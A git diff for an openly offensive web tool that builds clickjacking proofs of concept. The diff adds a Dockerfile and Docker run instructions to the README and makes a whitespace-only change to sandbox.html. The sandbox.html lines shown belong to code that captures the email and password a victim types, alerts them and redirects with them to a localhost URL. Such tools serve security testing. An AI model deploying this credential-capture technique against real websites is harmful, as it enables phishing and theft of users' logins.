diff --git a/Dockerfile b/Dockerfile new file mode 100644 index 0000000..54bd9ed --- /dev/null +++ b/Dockerfile @@ -0,0 +1,4 @@ +FROM php:7.4.11 +WORKDIR '/app' +COPY . . +CMD [ "php","-S","0.0.0.0:8000" ] \ No newline at end of file diff --git a/README.md b/README.md index fd1e553..7bb662a 100644 --- a/README.md +++ b/README.md @@ -11,7 +11,7 @@ Overview ===== A web based ClickJacking PoC Tool. -Running +Running without Docker ===== 1. Make sure you have php installed (default installed on Kali/Parrot OS) 2. Download If not already there, can also use XAMPP. @@ -21,3 +21,17 @@ Running 6. Drag and Drop the Login Buttons for PoC 7. Click on View 8. Your PoC is ready + +Running with Docker( You do not need to download dependencies like php ) +===== +1. Make sure you have docker installed in your computer. +2. There are two options to run the program in your local machine. + 1. Run "docker run -p 8000:8000 saleem8054/clickjackingpoc + 2. Build the docker image by yourself. + 1. docker build -t DockerID/clickjackingpoc . ( once you build it, there is no need to run this code again) + 2. docker run -p 8000:8000 DockerID/clickjackingpoc +3. Open up your browser and type localhost:8000 +4. Type in your target website name in the box and hit load. +5. Drag and Drop the Login Buttons for PoC +6. Click on View +8. Your PoC is ready diff --git a/sandbox.html b/sandbox.html index 5d2d83f..efee832 100644 --- a/sandbox.html +++ b/sandbox.html @@ -72,8 +72,8 @@ console.log('Email: ' + jacksEmail); console.log('Password: ' + jacksPassword); alert('Captured Creds are: \nUsername is: ' + jacksEmail + ' \nAND\nPassword is: ' + jacksPassword); - window.location.href = ("http://localhost:8000/credentials.html/poc=" + jacksEmail + ':' + jacksPassword); - window.reload; + window.location.href = ("http://localhost:8000/credentials.html/poc=" + jacksEmail + ':' + jacksPassword); + window.reload; }